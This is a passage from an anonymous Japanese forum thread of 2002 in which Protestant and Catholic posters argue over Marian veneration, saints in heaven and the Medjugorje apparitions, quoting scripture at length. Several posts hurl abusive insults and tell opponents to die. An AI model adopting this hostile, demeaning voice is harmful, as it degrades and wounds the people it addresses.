聖書ではそういうシャーマニズムを禁じているだけ。
115 :
名無しさん@1周年 :02/11/22 03:22
>>110 2コリント5-17を読んでご覧。分かるから。
5:17 だれでもキリストのうちにあるなら、その人は新しく造られた者です。
古いものは過ぎ去って、見よ、すべてが新しくなりました。
5:18 これらのことはすべて、神から出ているのです。神は、キリストに
よって、私たちをご自分と和解させ、また和解の務めを私たちに与えてく
ださいました。
過去形で書いてあるだろう?復活はしているさ。
勿論,天国は聖人で充満しているさ。
116 :
名無しさん@1周年 :02/11/22 03:22
>>112 死人は、そのような対象ではない。
おまえはマリヤに祈っているつもりでも
実際には悪霊に祈っていることになるのだ。
117 :
名無しさん@1周年 :02/11/22 03:22
>>113 2コリント5-17を読んでご覧。分かるから。
5:17 だれでもキリストのうちにあるなら、その人は新しく造られた者です。
古いものは過ぎ去って、見よ、すべてが新しくなりました。
5:18 これらのことはすべて、神から出ているのです。神は、キリストに
よって、私たちをご自分と和解させ、また和解の務めを私たちに与えてく
ださいました。
過去形で書いてあるだろう?復活はしているさ。
勿論,天国は聖人で充満しているさ。
118 :
名無しさん@1周年 :02/11/22 03:23
>>113 >イエスは復活したが、マリヤはまだ復活していない。
しました。
>マリヤに祈れなんて聖書に書いてあるか?
>何考えてんだ!
だから、マリア様に語りかけているだけ。
119 :
名無しさん@1周年 :02/11/22 03:23
>>115 おまえは復活をまるで理解していない。
福音派の教会に行って勉強してこい。
120 :
名無しさん@1周年 :02/11/22 03:25
>>119 ネストリウス異端の教会に逝っても意味ナシ。
121 :
名無しさん@1周年 :02/11/22 03:27
>>118 マリヤは復活していない。
復活はおそらく第一の復活のときになる。
携挙の直前だ。
おまえがマリヤに語り掛けているつもりでも
悪霊に語り掛けているのだ。
イタコが死人を呼び出しているつもりで、
悪霊を呼び出しているのと同じだ。
122 :
名無しさん@1周年 :02/11/22 03:27
>>110 、
>>113 2コリント5-17を読み、黙示録21:5と比較することだ。分かるから。
2コリ
5:17 だれでもキリストのうちにあるなら、その人は新しく造られた者です。
古いものは過ぎ去って、見よ、すべてが新しくなりました。
5:18 これらのことはすべて、神から出ているのです。神は、キリストに
よって、私たちをご自分と和解させ、また和解の務めを私たちに与えてく
ださいました。
過去形で書いてあるだろう?復活はしているさ。
勿論,天国は聖人で充満しているさ。
黙示21:5
すると、御座に着いておられる方が言われた。
「見よ。わたしは、すべてを新しくする。」また言われた。
「書きしるせ。これらのことばは、信ずべきものであり、真実である。」
パウロは、黙示録のこの箇所を言ったのさ。
123 :
名無しさん@1周年 :02/11/22 03:28
>>117 マリヤは復活していない。
復活はおそらく第一の復活のときになる。
携挙の直前だ。
>>118 おまえがマリヤに語り掛けているつもりでも
悪霊に語り掛けているのだ。
イタコが死人を呼び出しているつもりで、
悪霊を呼び出しているのと同じだ。
124 :
名無しさん@1周年 :02/11/22 03:31
>>121 2コリント5-17を読み、黙示録21:5と比較することだ。分かるから。
2コリ5:17 だれでもキリストのうちにあるなら、その人は新しく造られた者です。
古いものは過ぎ去って、見よ、すべてが新しくなりました。
5:18 これらのことはすべて、神から出ているのです。神は、キリストに
よって、私たちをご自分と和解させ、また和解の務めを私たちに与えてく
ださいました。」
過去形で書いてあるだろ?復活してるさ。天国は聖人で充満してるさ。
黙示21:5すると、御座に着いておられる方が言われた。
「見よ。わたしは、すべてを新しくする。」また言われた。
「書きしるせ。これらのことばは、信ずべきものであり、真実である。」
パウロは、二コリ5:17で、黙示録のこの箇所を言ったのさ。
125 :
名無しさん@1周年 :02/11/22 03:31
126 :
名無しさん@1周年 :02/11/22 03:32
>>123 IIコリ5-17を読み、黙示21:5と比較することだ。分かるから。
2コリ5:17 だれでもキリストのうちにあるなら、その人は新しく造られた者です。
古いものは過ぎ去って、見よ、すべてが新しくなりました。
5:18 これらのことはすべて、神から出ているのです。神は、キリストに
よって、私たちをご自分と和解させ、また和解の務めを私たちに与えてく
ださいました。」
過去形で書いてあるだろ?復活してるさ。天国は聖人で充満してるさ。
黙示21:5すると、御座に着いておられる方が言われた。
「見よ。わたしは、すべてを新しくする。」また言われた。
「書きしるせ。これらのことばは、信ずべきものであり、真実である。」
パウロは、二コリ5:17で、黙示録のこの箇所を言ったのさ。
127 :
名無しさん@1周年 :02/11/22 03:33
>>124 馬鹿野郎!
「マリヤ崇敬しろ」などとどこに書いてある!
恥を知れ、おまえの馬鹿さ加減は世界中に公開されているんだぞ!
アホ!
128 :
名無しさん@1周年 :02/11/22 03:36
>>126 冒頭を読め!
そして聖書で確認しろ!
どんな馬鹿でもマリヤ崇敬が神に背く行為と分かる!
>>126 おい!
結論が書いてないじゃないか?
そんな書き込みは無効だな!
129 :
名無しさん@1周年 :02/11/22 03:38
>>127 だから、聖人が天国に充満していることを認めろ。
そうすれば、聖人の頭である聖母を敬う気持ちが分かるから。
メジュゴリエを信じるのはそれからでよい。
130 :
名無しさん@1周年 :02/11/22 03:38
>>128 ほれ、結論だ。
だから、聖人が天国に充満していることを認めろ。
そうすれば、聖人の頭である聖母を敬う気持ちが分かるから。
メジュゴリエを信じるのはそれからでよい。
131 :
名無しさん@1周年 :02/11/22 03:39
>>129 マリヤ崇敬しろなんて聖書に書いてないと言ってるだろう!
頭が悪いなあ!馬鹿野郎!
132 :
名無しさん@1周年 :02/11/22 03:41
>>127 だから、聖人が天国に充満していることを認めろ。
そうすれば、聖人の頭である聖母を敬う気持ちが分かるから。
キリスト再臨のときに万のいく万倍の天使と聖徒がやってくると
預言されているではないか(ユダの書)。天国は聖徒で1杯さ。W
メジュゴリエを信じるのはそれからでよい。
133 :
名無しさん@1周年 :02/11/22 03:43
>>131 マリヤ崇敬しろなんて聖書に書いてないと言ってるだろう!
頭が悪いなあ!馬鹿野郎!
と書いたところで、聖母が悪魔になるわけではない。
馬鹿ヤロウ!
134 :
名無しさん@1周年 :02/11/22 03:43
>>130 馬鹿野郎!
聖書のどこに「マリヤ崇敬しろ」などと書いてある?
そんなことは書いていない。
書いてもいないのに、でたらめな引用をするんだろうなあ。
おまえは脳みそが腐乱して気が狂ってるからなあ。
いい加減にしろ大馬鹿野郎!
135 :
名無しさん@1周年 :02/11/22 03:45
>>133 馬鹿野郎!
マリヤは悪魔だなどと言ってねえだろう!馬鹿野郎!
マリヤ崇敬が悪霊崇拝だと言ってんだ!大馬鹿や労!
136 :
名無しさん@1周年 :02/11/22 03:45
>>134 いいから、聖人が天国に充満していることを聖書の証言から認めろ。
そうすれば、聖人の頭である聖母を敬う気持ちが分かるから。
キリスト再臨のときに万のいく万倍の天使と聖徒がやってくると
預言されているではないか(ユダの書)。天国は聖徒で1杯さ。W
メジュゴリエを信じるのはそれからでよい。
137 :
名無しさん@1周年 :02/11/22 03:46
>>132 馬鹿野郎!
メジュゴリエも何もあるか!
マリヤ崇敬自体が間違いなのだ!
気が狂って狂い死ね!
138 :
名無しさん@1周年 :02/11/22 03:47
馬鹿野郎! 聖書のどこに「マリヤ崇敬しろ」などと書いてある? そんなことは書いていない。 書いてもいないのに、でたらめな引用をするんだろうなあ。 おまえは脳みそが腐乱して気が狂ってるからなあ。 いい加減にしろ大馬鹿野郎!
139 :
名無しさん@1周年 :02/11/22 03:49
∫ ∩∩
∫ | | | | ___ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
∫ (・x・#) / | <
>>1-8 を見ろ!
~━⊂へ ⊂./ ..| \_________
i''' し 'l :i ̄,,,,,,/
 ̄ し ||
140 :
名無しさん@1周年 :02/11/22 03:49
>>135 これまでにわしが論証したところによって、
次のことが聖書から立証された。文句はないな?
1、マリアは聖人の筆頭である。だから、聖母である。
2、母を敬えとイエスは言われたので、聖母を敬うのはキリスト者の務め。
3、天国は聖徒で今も充満している。当然、聖母は祈っておられる。
4、その祈りに感謝するのは当然である。
141 :
名無しさん@1周年 :02/11/22 03:51
142 :
名無しさん@1周年 :02/11/22 03:52
>>140 詭弁を並べるとマリヤが神の母に変身するのか?
大馬鹿野郎!
冒頭において、マリヤ崇敬が間違いであることは
完全に明らかになっている。
おまえみたいな馬鹿は死ね!
143 :
名無しさん@1周年 :02/11/22 03:53
俺さんは、聖書から論破されて、ついに自滅しました。
144 :
名無しさん@1周年 :02/11/22 03:55
>>141 馬鹿野郎!
聖書で確認しろ!
脳みそ腐乱への警告
おまえの詭弁荒らしは
これを見ているカトリック教徒から
悔い改める機会を奪っている。
主の御前で、どう弁解するつもりだ!
145 :
名無しさん@1周年 :02/11/22 03:56
脳みそ腐乱への警告 おまえの詭弁荒らしは これを見ているカトリック教徒から マリヤ崇敬の罪を悔い改める機会を奪っている。 主の御前で、どう弁解するつもりだ!
146 :
名無しさん@1周年 :02/11/22 03:58
>>144 そう吠えるな。これまでにわしが論証したところによって、
次のことが聖書から立証された。文句はないな?
1、マリアは聖人の筆頭である。だから、聖母である。
2、母を敬えとイエスは言われたので、聖母を敬うのはキリスト者の務め。
3、天国は聖徒で今も充満している。当然、聖母は祈っておられる。
4、その祈りに感謝するのは当然である。
5、だから、マリアの像を全部粉砕しても無駄である。
6、よって、このスレッドは終了である。以上
147 :
名無しさん@1周年 :02/11/22 03:59
>>145 そう吠えるな。
これまでにわしが論証したところによって、
次のことが聖書から立証された。文句はないな?
1、マリアは聖人の筆頭である。だから、聖母である。
2、母を敬えとイエスは言われたので、聖母を敬うのはキリスト者の務め。
3、天国は聖徒で今も充満している。当然、聖母は祈っておられる。
4、その祈りに感謝するのは当然である。
5、だから、マリアの像を全部粉砕しても無駄である。
6、よって、このスレッドは終了である。以上
148 :
名無しさん@1周年 :02/11/22 03:59
140、146には聖書的根拠全くなし。 無効である。
149 :
名無しさん@1周年 :02/11/22 04:00
未信者脳みそ腐乱への警告 おまえの詭弁荒らしは これを見ているカトリック教徒から マリヤ崇敬の罪を悔い改める機会を奪っている。 主の御前で、どう弁解するつもりだ!
150 :
名無しさん@1周年 :02/11/22 04:08
>>148 、
>>149 これまでにわしが論証したところによって、
次のことが聖書から立証された。文句はないな?
1、マリアは聖徒の筆頭である。だから、聖母である。
>>82 2、母を敬えとイエスは言われた(マタイ19:19)ので、
聖母を敬うのはキリスト者の務め。
3、天国は聖徒で今も充満している。
>>122 4、当然、聖母は私たちのために祈っておられる。
>>92 5、その祈りに感謝するのは当然である。(常識)
6、私たちが崇敬しているのは神の創造された聖人マリアである。
>>54 7、だから、マリア像を全部粉砕しても無駄である。
>>50 8、よって、このスレッドは終了である。以上
151 :
名無しさん@1周年 :02/11/22 04:12
>>148 、
>>149 吠えるな。これまでにわしが論証したところによって、
次のことが聖書から立証された。文句はないな?
1、マリアは聖徒の筆頭である。だから、聖母である。
>>82 2、母を敬えとイエスは言われた(マタイ19:19)ので、
聖母を敬うのはキリスト者の務め。
3、天国は聖徒で今も充満している。
>>122 4、当然、聖母は私たちのために祈っておられる。
>>92 5、その祈りに感謝するのは当然である。(常識)
6、私たちが崇敬しているのは神の創造された聖人マリアである。
>>54 7、だから、マリア像を全部粉砕しても無駄である。
>>50 8、従って、俺氏は観念して、像がなくてもいいから聖母を崇敬し、
しかるのちに、メジュゴリエを信じなさい。
152 :
Ellen :02/11/22 04:16
>>俺 ケケッ! ついに聖書のパワーに観念したか? 出直して来い! オオバカヤロウはオメーだ。ワラ!
153 :
平和の元后聖母マリアへの奉献の祈り :02/11/22 05:52
マリア、私たちの天の母よ、 あなたの従順な子として、み前におります。 あなたの言葉を聞き、あなたと一緒に主に向かって歩みたいのです。 そのために、すべての罪を棄てます。私はこの地上で、主のために美し い花になりたいのです。時には、自分の弱さを感じます。その時、どうか、 私を助けにいらしてください。 私は、イエズス・キリストを全く信じます。イエズスと共に、私自身と 私の周りの世界を変え、新たにしたいのです。 平和の元后よ、私が不和ではなく、平和の糧をまくことができるよう、 助けてください。まず、自分自身と自分の家族の中に平和をもたらすこと ができますように。私の体も魂も奉献します。あなたに忠実と堅忍を約束します。 アーメン 使徒信経 1回、 主の祈り、天使祝詞、栄唱、各7回 「平和の元后聖母マリア」(メジュゴリエの聖母)についての詳細は、 三上茂・著『メジュゴリエの証言者たち』ドン・ボスコ社をご覧下さい。
154 :
名無しさん@1周年 :02/11/22 08:23
>>116 >死人は、そのような対象ではない。
>おまえはマリヤに祈っているつもりでも
>実際には悪霊に祈っていることになるのだ。
イエスはモーセと語り合ったが、実際は悪霊と語り合ったのですね。
155 :
名無しさん@1周年 :02/11/22 08:30
>>121 >マリヤは復活していない。
>復活はおそらく第一の復活のときになる。
>携挙の直前だ。
では、少なくともイエスとモーセが語り合ったとき、
モーセはまだ復活はしていませんね。それは認めます。
>おまえがマリヤに語り掛けているつもりでも
>悪霊に語り掛けているのだ。
>イタコが死人を呼び出しているつもりで、
>悪霊を呼び出しているのと同じだ。
従ってモーセも死人です。イエスと語りあったモーセはとは、
悪霊のことだったのですね。
156 :
名無しさん@1周年 :02/11/22 15:26
マリア様が、イエス・キリストのご意向なくして勝手に出現するのだろうか? と常々思うのであるが? そして、なぜ教導職を任されている時の教皇や司教クラスの者にではなく、 カトリックの分裂を予想されるような特定の末端信徒の上にお告げを下されるのか? カトリックの将来について、お告げの聖母なるものはどのような考えをお持ちなのか? まったく持って不可解極まりない。まず、神の霊の恵みと力に満たされるべきは 全世界のカトリック信徒の代表であるとも言える、ペトロの後継者、教皇なのでは? さらに、出現のマリアがマリアなら、なぜイエス・キリストの名において事の実行 や命令をなさらないのだ?出現のマリアの主は誰なのだ?聖書によれば悪霊は 「神の名によって」という言葉を軽々と言いのける輩のようだゾ!出現のマリアは 主イエスに一致して判断や命令をなさっているのか? 参考:マルコ5章7節(フランシスコ会訳注新約聖書参照) 《「いと高き神の子イエズス、わたしをどうしようというのですか。神の御名によって お願いします。どうかわたしを苦しめないでください。」と大声で叫んだ。》
157 :
名無しさん@1周年 :02/11/22 19:51
マリヤ崇敬は間違い 何を書き込もうと マリヤ崇敬が間違いという事実は 変動しない。
158 :
名無しさん@1周年 :02/11/22 20:14
>>157 君達の中では・・・だね。
キリスト教そのものが世界最高の胡散臭い宗教なのにさ。
イエスなんかを神に据えてる時点でドキュン。
159 :
名無しさん@1周年 :02/11/23 01:39
>>157 吠えるな。これまでにわしが論証したところによって、
次のことが聖書から立証された。文句はないな?
1、マリアは聖徒の筆頭である。だから、聖母である。
>>82 2、母を敬えとイエスは言われた(マタイ19:19)ので、
聖母を敬うのはキリスト者の務め。
3、天国は聖徒で今も充満している。
>>122 4、当然、聖母は私たちのために祈っておられる。
>>92 5、その祈りに感謝するのは当然である。(常識)
6、私たちが崇敬しているのは神の創造された聖人マリアである。
>>54 7、だから、マリア像を全部粉砕しても無駄である。
>>50 8、従って、俺氏は観念して、像がなくてもいいから聖母を崇敬し、
しかるのちに、メジュゴリエを信じなさい。
160 :
名無しさん@1周年 :02/11/23 01:46
161 :
名無しさん@1周年 :02/11/23 01:52
>>156 >マリア様が、イエス・キリストのご意向なくして勝手に出現するの
だろうか? と常々思うのであるが?
聖母はイエズス様によって派遣されます。キリストの聖体の守り手です。
>そして、なぜ教導職を任されている時の教皇や司教クラスの者にではなく
>カトリックの分裂を予想されるような特定の末端信徒の上にお告げを下さ
>れるのか?
小さき者を愛されるからです。『子供のようにならなければ天国に
入れません』とイエズスは言われました。
>カトリックの将来について、お告げの聖母なるものはどのような考えを
>お持ちなのか?
自分で調べなさい。天からしるしを現わし、警告する者がいなくて、
人類は改心するでしょうか。
しるしがあっても、警告があっても回心しない者がほとんど。
162 :
名無しさん@1周年 :02/11/23 03:12
163 :
名無しさん@1周年 :02/11/23 04:08
なーんだ。俺さんは、聖書もよくしらなったんだね。プロテスタントって、ホント?恥ずかしいね!
164 :
名無しさん@1周年 :02/11/23 04:10
マリア崇敬は正しい 何を書き込もうと マリア崇敬が正しいという事実は 変動しない。
165 :
名無しさん@1周年 :02/11/23 08:41
暴かれた俺さんの邪説7か条 >@マリヤ崇敬は、神に背く偶像礼拝です。出エジプト記20章4節 ―― マリアは死んだ異教の偶像ではない。天国におられる今生きているクリス チャンの聖人であられる。 残念ながら、出エジプト記のその箇所は当てはまらない。クリスチャンは 新約の律法=キリストのみ言葉を守る。旧約は足かせ、奴隷のくびきであ ると聖パウロは証ししている。(ガラ4、5章) 十戒は、古い過ぎ越しとともに、エジプトの奴隷から解放された、古代イ スラエルの民に与えられたものであり、新約の新しいイスラエル=クリス チャンには、新しい過ぎ越し=十字架と新しい律法が与えられた。その律 法は、石の板に文字で書かれたものではない。御霊によって心の板に書か れるものです(二コリント3:3−8)。 古い十戒を守れと言うのなら、SDAか、メシアニックジュー、 イエスの御霊教会、スエデンボリ派になり、ユダヤ人の安息日も守れ。 写真を取っても見てもいけない。テレビやネットで映像を見ることも罪。 子供の人形をみな焼き滅ぼしなさい。しかし、そんなことをしなくても、 キリストの戒めを守る人は真の十戒を守っているのです。
166 :
名無しさん@1周年 :02/11/23 08:42
>A偶像礼拝をすると悪霊と交わる事になります。1コリント10:20 ―― そのとおりです。偶像とは、もの言わぬ異教の死んだ像―物―です。 マリアは活ける天上の聖人。告知する善霊であって、「物」ではない。 マリアを敬う人は善霊と交わるのです。クレドにある「諸聖人の交わり」 とはそのことです。地上からあがなわれた天上の聖人をさして、諸聖人 と言う。ヨハネは幻に御使いが出現したときに、崇拝しようとしました。 御使いは神を崇拝しなさいと言いました。御出現のマリアも、偽物でない 限り、同じことを言われます。崇拝と崇敬は違います。 イエスをもってすべてが新しくされたことをいいかげん悟りなさい。旧約 では天国の観念も地獄の観念もあいまいだった。イエス・キリストの救い が世にもたらされていなかったからです。キリストの救いがもたらされて 以後、天国、地獄の観念が明確になりました。義人はみな天国に復活させ られたからです。天国に入らないものは「外の闇」にいます。あなたの心 に御霊が介入すれば、あなたは諸聖人との交わりに心開かれる。マリアの 存在が身近に感じられてきて、敬わざるを得なくなります。 自然にそうなる。文字遊びをやめて、御霊に生きなさい。
167 :
名無しさん@1周年 :02/11/23 08:43
>B人は、ただキリスト・イエスを信じる信仰によって義と認められ救わ れるのであり、マリヤ崇敬によって救われるものではありません。 ガラ2:16 ―― 当たり前のことをいわんでください。お救いになるのはキリストです。 救われた人は、エリサベツやシメオンのように、救い主をお与えに なったマリア様をたたえます。ルカ1:42‐45、2:34‐5. 自然なことです。
168 :
名無しさん@1周年 :02/11/23 08:43
>C神と人との間の仲介者は唯一、人としてのキリスト・イエスであり >マリヤは仲介者では有り得ません。第1テモテ2章5節 ―― キリストは、キリストを受け入れた人のための、人と神との唯一の仲介者 です。同時に、われわれが人のために祈ることを「とりなし、仲介」と言い ます。聖人ならずとも、クリスチャンなら誰でもしていることです。 イエスは敵のために祈りなさいと言いませんでしたか。使徒は罪に落ちた 兄弟のために祈りませんでしたか。聖人の筆頭であられるマリアは、自分 で祈りさえできない罪人のために、昼夜、仲介の祈りを、地上のクリス チャンと心を合わせてしているのです。 >Dイエスは霊においては父なる神と等しく、肉においては人と同じです。 >主イエスが人として生まれたのはマリヤからですが、神と同質の神の御子 >として生まれたのは造られたすべてのものより先であり、マリヤは神の母 >では有り得ません。コロサイ1章15節 ―― イエスは霊だけで天国におられるのではなく、マリアがおうみになった肉 をもって天国におられる。十字架に付けられ釘打たれたそのおん体をもっ て再臨なさると預言されている。霊肉合わせもつキリストをわれわれは神 と呼ぶ。「イエスの肉は人と同じ」など、とんでもない異端的解釈です。 肉の母であるマリアは、まさしく神の御母です。
169 :
名無しさん@1周年 :02/11/23 08:44
>E聖書のどこにも(外典にさえ)「マリヤ崇敬をせよ」とは書かれていま >せん。黙示録22章18節 ―― 崇敬は当たり前だから書いてないだけです。ユダヤ人ばかりか、イエスも 使徒も、アブラハムを初めとする父祖を敬っていました。説教に頻繁に父 祖が出てくるのはその証拠です。聖人を敬うのは当たり前です。 >Fカトリック教徒が聖伝と呼ぶものは、正典に匹敵するものではなく、 >信仰基準とは成り得ません。内容が正典に反するものなど論外です。 >マルコ7章8節 ―― 4世紀末に聖伝から正典が編纂されたことさえ知らないのですか。一世紀 からそのときまで無数の資料がありました。「正典」と今いわれているも のが、聖伝に矛盾していれば、「正典」として編纂されることはなかった。 カトリックにはプロの66巻に対して72巻正典がある。ルターも読んでい ました。正典が聖伝に矛盾しない様に、聖伝も正典に矛盾しない。正典に 矛盾するものは聖伝とは呼ばれません。要するに、正典は聖伝の1部とい うことです。「正典」成立の過程を勉強なさい。基本認識が間違っています。
@マリヤ崇敬は、神に背く偶像礼拝です。出エジプト記20章4節 ★カトリック要理(サンパウロ)p134−135 聖人、天使は神のみ旨にかない、すぐれた恩恵と栄光を受けていますから、 ・・・正しいことであって、・・・神ご自身に賛美と感謝とをささげることになります。 十字架や聖人の聖像や聖画を大切にするのは、信心を助け、キリストまたは聖人を尊ぶためです。 ★正教要理(日本ハリストス正教会教団)p166 イコンとはギリシャ語で像の意味で、・・・聖書中の出来事からとられ描かれています。 ・・・教会では聖像に描かれている原像を敬拝することにあると教え、 その意味を誤らないよう指示しています。 ・・・この世で人となったハリストスは父なる神の像であり、神がハリストスを通し、 ・・・神を見ることが出来ます。また神が肉体をとってこの世にくだられた事実は、 見えるものが見えないものを認識する手がかりになったことを示しているからです。 p167 聖像は敬虔な画家−多くの場合修道士−が斎と祈りの中に描かれるものです。 p168 ・・・魚・小羊・牧者・鳩・ぶどうの枝などで象徴的にあらわされていました。 A偶像礼拝をすると悪霊と交わる事になります。第1コリント10章20節 そうです。 キリストや聖人や天使(キリストの為に召使になる異教徒)から授かる知恵や巡り合わせより、 悪霊の力を信じる多神教の信仰は。
B人は、ただキリスト・イエスを信じる信仰によって義と認められ救われるのであり、マリヤ崇敬によって救われるものではありません。ガラテヤ2章16節 ★正教要理(日本ハリストス正教会教団)p3 「行いが伴わなければ、それだけでは死んだ者なのです」(ヤコブ書3・17) p65 教会が一つである・・・地上の教会には生きている信者がおり、 天上の教会には神に召されこの世を去った聖人たちと信者がおり、 この二つの教会は唯一で分かれないものと見なしています。 「天にあるエルサレム・・・天に登録されている長子たちの教会」(エウレイ書12:22−24) ★カトリック要理(サンパウロ)p96 ヤコブ5:16「互いのために祈りなさい・・・義人の祈りは働く」、 コロサイ1:24「キリストの苦しみの欠けたところを満たしている」、 Uマカバイ12:45「つぐないのいけにえ」 C神と人との間の仲介者は唯一、人としてのキリスト・イエスであり、マリヤは仲介者では有り得ません。第1テモテ2章5節 ★カトリック要理(サンパウロ)p97 黙示録8:4「聖人たちの祈りとともに」、マタイ18:10「天使は・・・父の顔を見ている」 E聖書のどこにも(外典にさえ)「マリヤ崇敬をせよ」とは書かれていません。黙示録22章18節 ★カトリック要理(サンパウロ)p100 ヨハネ19:27「あなたの母がいます」、使徒行伝1:14「イエスの母マリヤ・・・みな心を合わせ」 ★正教要理(日本ハリストス正教会教団)p8 聖書と聖伝・・・を「真理の柱、真理の基礎」(テモフェイ前書3・15)と呼び・・・み言葉の遺産。 p45 マリヤは・・・「神を生んだ女」と呼ばれ・・・ 救い主を生むという光栄を得た女性という意味で、「永貞童女」と賛美します。 エフェソ公会議(341)「神の母」 西方カルタゴ会議(397)東方コンスタンチノープルのトゥルルス会議(692)「新約27巻の決定」 ニカイア公会議(787)「聖像の尊敬」
172 :
名無しさん@1周年 :02/11/23 09:47
>>1 によると、イエスは悪魔の子であり、
十字架の上から、ヨハネに悪魔の世話をするように命じたという、
奇怪な結論に至る。
173 :
名無しさん@1周年 :02/11/23 09:48
>>1 によると、イエス・キリストは、ヨハネに悪魔を母とするよう、十字架の上から命じたという、奇怪な結論に至る。
174 :
名無しさん@1周年 :02/11/23 09:52
聖書を基準に考えるのは良い。 しかし、聖書が聖書である基準は旧教が守り続けた聖伝にある。 プロテスタントは聖書のみを拠り所にすると言う。 しかし、その聖書の拠り所はカトリックが伝えてきた伝統だよ。
175 :
名無しさん@1周年 :02/11/23 10:01
>>プロテスタントは聖書のみを拠り所にすると言う。 まったく、こういう勘違いカトが後を絶たないんだから、 困ったもんだ。プロだって協会中心だ・・・ってまぁ、誤解 されるのはプロ側の責任だな。
176 :
名無しさん@1周年 :02/11/23 10:08
>>175 すまん。語弊があったな。
結局言いたいのは、「キリスト教徒が聖母を尊敬するのは間違っている」という主張を否定することにあります。
177 :
名無しさん@1周年 :02/11/23 10:15
問題はさ、ソレが聖書編纂段階で明確な形で残されなかったことだよ。 当時の末端の教会や信徒のマリア崇敬の状況は知らんが、聖書編纂関 係者クラスがマリア崇敬を重視していれば、もちっと聖書にそれらしい 文書を盛り込むと思うんだけどねぇ。 聖書だけ読むと、マリアは善良な馬鹿女のように思える・・・
178 :
名無しさん@1周年 :02/11/23 10:27
所詮人間はマザコン。プロがカトを強制において超えられないのは、 マリア崇敬がないからだ(断言)。
179 :
名無しさん@1周年 :02/11/23 10:49
>>1 によると、 キリストを敬うと神を敬うが、キリストの母を敬うと悪魔を敬うという、 奇怪な結論に至る。
180 :
名無しさん@1周年 :02/11/23 10:52
>>1 によると、「父母を敬え」と教えを説いたキリストは、
自分の説いた教えを実行しない、とんでもない偽教師だったという、
奇怪な結論にいたる。
181 :
名無しさん@1周年 :02/11/23 10:55
>>1 によれば、
マリアはキリストの母であるにもかかわらず、
キリストの母マリアを敬うのは、悪魔を敬うことになるという、
奇怪な結論に至る。
182 :
名無しさん@1周年 :02/11/23 10:57
イエスは悪魔から生まれた子です。 悪魔から生まれたのですが、 断食40日して、悪魔の誘惑を退け キリストとなったのです。
183 :
名無しさん@1周年 :02/11/23 11:01
>>177 キリスト教徒にとって見れば、根拠はその馬鹿女で十分だったのさ。
当時のキリスト教構成員の面々を考察して見てよ。
ユダヤ人からは信じるに値しないと馬鹿にされてたんだよ。
184 :
ジョンヒック :02/11/23 11:14
>>183 それはタルムードの教えさ。騙されてるね!おばかちゃんだね!
185 :
名無しさん@1周年 :02/11/23 11:29
いんや。君、分裂前のユダヤ教も知らないんだね。 呆れた・・・。
186 :
ジョンヒック :02/11/23 11:35
呆れたのはこっちさ。お馬鹿チャンなんだね!
187 :
名無しさん@1周年 :02/11/23 11:43
>>1 によると
像がなくなれば、カトリック信徒は、
キリストの母を敬わなくなるという
奇怪な結論に至る。
188 :
名無しさん@1周年 :02/11/23 11:44
またageられたのか、このスレ(藁) なんだかなぁ、TVタックルの大槻教授と UFO関連書の版元の社長(誰だったっけ?)のスカーリマンネリ化した ディスカッション(という名の漫才)を思い出すよ。 しかし、俺さんカトリックの皆さんも真面目だねぇ。 皮肉でなくて少し尊敬しちゃうよ。 でも、明日は礼拝(orミサ)だから、夜中までカキコせんで早く寝ろよ。
190 :
名無しさん@1周年 :02/11/23 13:08
sageと書き込みageるバカ
191 :
名無しさん@1周年 :02/11/23 13:13
ここはクソスレです。下げ進行で御願いします。 sage
195 :
名無しさん@1周年 :02/11/23 14:31
さげ
196 :
名無しさん@1周年 :02/11/23 14:32
俺もsageる。 sage
197 :
名無しさん@1周年 :02/11/23 14:40
マリア本人を粉砕焼却したら殺人罪だけど、 像なんだからせいぜい器物損壊罪でしょう。 いいじゃないですかあ、べつに死刑になるわけじゃなし… 壊されたら、また作ればいいんですよ。
198 :
名無しさん@1周年 :02/11/23 18:39
>>186 何も知らないのなら黙っていたらいいのさ。
199 :
名無しさん@1周年 :02/11/23 20:06
>>150-151 >1、マリアは聖徒の筆頭である。だから、聖母である。
マリアはキリストの母親(父親は不明)で聖徒の筆頭というのはこじつけ。
>2、母を敬えとイエスは言われた(マタイ19:19)ので、聖母を敬うのはキリスト者の務め。
なんで急にマリア=聖母になるんだ。
>3、天国は聖徒で今も充満している。
お前見てきたのか?
>4、当然、聖母は私たちのために祈っておられる。
>5、その祈りに感謝するのは当然である。(常識)
>6、私たちが崇敬しているのは神の創造された聖人マリアである。
>7、だから、マリア像を全部粉砕しても無駄である。
>8、よって、このスレッドは終了である。以上
4〜8は「マリア=聖母」としているので馬鹿らしくて話にならない。
200 :
名無しさん@1周年 :02/11/23 20:08
マリア像は×でキリスト像は○なのか?
201 :
名無しさん@1周年 :02/11/23 23:41
>>199 >>150-151 >1、マリアは聖徒の筆頭である。だから、聖母である。
>マリアはキリストの母親(父親は不明)で聖徒の筆頭というのはこじつけ。
ほう?なら、マリアがキリストの教えを守らずに罪の中で死んだ証拠を出してみ?
マリアは聖霊降臨も受けているがの。(使徒1:14)w
キリストの教えに生きて聖霊を受けた者は「聖徒」と呼ばれる。
聖なる信徒でイエスの母。当然、聖なる母である。文句はないな?
202 :
名無しさん@1周年 :02/11/23 23:43
>>199 >2、母を敬えとイエスは言われた(マタイ19:19)ので、聖母を敬うのはキリスト者の務め。
なんで急にマリア=聖母になるんだ。
したがって、マリアは聖母である。文句はないな?w
203 :
名無しさん@1周年 :02/11/23 23:46
>>199 >3、天国は聖徒で今も充満している。 お前見てきたのか?
2コリント5-17を読み、黙示録21:5と比較することだ。分かるから。
2コリ5:17 「誰でもキリストの内にあるなら、その人は新しく造られ
た者です。古いものは過ぎ去って、見よ、すべてが新しくなりました。
5:18 これらのことはすべて、神から出ているのです。神は、キリストに
よって、私たちをご自分と和解させ、また和解の務めを私たちに与えてく
ださいました。」
過去形で書いてあるだろ?復活してるさ。
それから2千年がたつ。天国は聖人だらけさ。
204 :
名無しさん@1周年 :02/11/23 23:57
>>199 >4、当然、聖母は私たちのために祈っておられる。
>5、その祈りに感謝するのは当然である。(常識)
>6、私たちが崇敬しているのは神の創造された聖人マリアである。
>7、だから、マリア像を全部粉砕しても無駄である。
>8、よって、このスレッドは終了である。以上
4〜8は「マリア=聖母」としているので馬鹿らしくて話にならない。
したがって、マリア=聖母である。文句はないな?w
205 :
名無しさん@1周年 :02/11/24 17:44
206 :
名無しさん@1周年 :02/11/24 18:32
207 :
名無しさん@1周年 :02/11/24 18:43
>>200 馬鹿モン!
両方だめに決まってるだろう!
208 :
名無しさん@1周年 :02/11/24 18:50
>>205 じゃあ、分裂前のユダヤ人が正しいとしてきたことは
